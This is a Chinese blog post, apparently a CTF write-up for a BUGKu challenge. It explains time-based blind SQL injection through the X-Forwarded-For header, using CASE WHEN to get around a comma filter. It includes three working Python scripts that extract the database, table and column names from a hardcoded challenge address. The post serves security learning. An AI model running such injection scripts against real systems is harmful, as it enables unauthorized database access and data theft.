BUGKu中的Insert注入

该博客讲述了如何在BUGKu中利用Case When语句进行Insert注入,由于过滤了逗号,采用时间盲注方法。文章提到了调试过程,以及爆库、列名和字段的技巧,鼓励读者运用多线程和优化技术提高效率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这道题因为是先输出的IP的信息,然后再将IP存入了数据库中,并且关闭了所有的报错提示。

因此用时间注入的方式比较好

首先我们先认识一个新的Python中的time模块,time.time()返回当前的时间,只要我们在发送数据包之前以及收到返回包之后各设置一个,就可以通过判断两时间之差确认我们判断的字符!!!!

其实没有什么难的,有相对好点的其他语言基础,相信能很快写出来

当然这道题还不是简单的时间盲注题
1.这道题过滤了逗号,对于时间盲注来说,可以用case when 条件 then 成立 else 不成立 end ,来进行时间盲注

比如 case when 1=1 then sleep(5) else 1 end ,在这里面的就因为1=1成立,于是运行sleep(5)语句,从而达到时间盲注的目的。

#BUGku中的insert 注入,爆当前数据库名
import requests
import time#导入time模块
url='http://123.206.87.240:8002/web15/index.php'#设定url
test=requests.session()#设置session(),好像有的需要,因此每次就会习惯性地加上
headers={'X-Forwarded-For':'1.0.0.0','content-type':'application/json'}#设置请求中的Header值,本题是XFF头注入,因此在XFF段中设置语句
Mikasa=test.get(url,headers=headers)#先用一下试试
print(Mikasa.text)#看看有没有结果
database=''#设定要爆破的值
for ko in range(1,100):#假设我们爆的值在100以内
	for ok in range(0,128):#ascii值
		PHP="1' and (case when ord(substr((database())from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"#设置盲注语句	
		headers={'X-Forwarded-For':PHP,'content-type':'application/json'}#将需要的东西放在XFF中
		op=time.time()#记录未发送数据时候的时间
		Mikasa=test.get(url,headers=headers)#发送数据并等待返回数据
		if time.time()-op>3:#判断返回的时间与未发送数据时间差值是否有明显的变化
			database+=chr(ok)#将其从ascii转为字符,加入值中
			if(ok==0):#如果返回的值为空,ascii中0为空,则判定爆破完毕,退出程序
				exit()
			else:
				print(database)
			continue
		else:#主要用于调试程序是否爆出了数据
			print(str(ok)+'error')

在这里插入图片描述
数据库名,建议大家写脚本的时候一步一步调试,不然别像我调BUG调的麻烦

接下来爆表名列名都差不多,这里只贴爆到字段的代码,希望各位

#爆表名
import requests
import time
url='http://123.206.87.240:8002/web15/index.php'
test=requests.session()
headers={'X-Forwarded-For':'1.0.0.0','content-type':'application/json'}
Mikasa=test.get(url,headers=headers)
print(Mikasa.text)
database=''
for ko in range(1,100):
	for ok in range(0,128):
		PHP="1' and (case when ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"	
		headers={'X-Forwarded-For':PHP,'content-type':'application/json'}
		op=time.time()
		Mikasa=test.get(url,headers=headers)
		if time.time()-op>3:
			database+=chr(ok)
			if(ok==0):
				exit()
			else:
				print(database)
		else:
			print(str(ok)+'error')

在这里插入图片描述

#爆字段名
import requests
import re
import time
url='http://123.206.87.240:8002/web15/index.php'
test=requests.session()
headers={'X-Forwarded-For':'1.0.0.0','content-type':'application/json'}
Mikasa=test.get(url,headers=headers)
print(Mikasa.text)
database=''
for ko in range(1,100):
	for ok in range(0,128):
		PHP="1' and (case when ord(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167) from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"	
		headers={'X-Forwarded-For':PHP,'content-type':'application/json'}
		op=time.time()
		Mikasa=test.get(url,headers=headers)
		if time.time()-op>3:
			database+=chr(ok)
			if(ok==0):
				exit()
			else:
				print(database)
			continue
		else:
			print(str(ok)+'error')

在这里插入图片描述

剩下的就请各位发挥聪明才智了,在下才学疏浅,只能写出如此笨拙的代码。
事实上可以用多线程、二分法、以及string模块减少时间,在下不才,只能到这一步。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值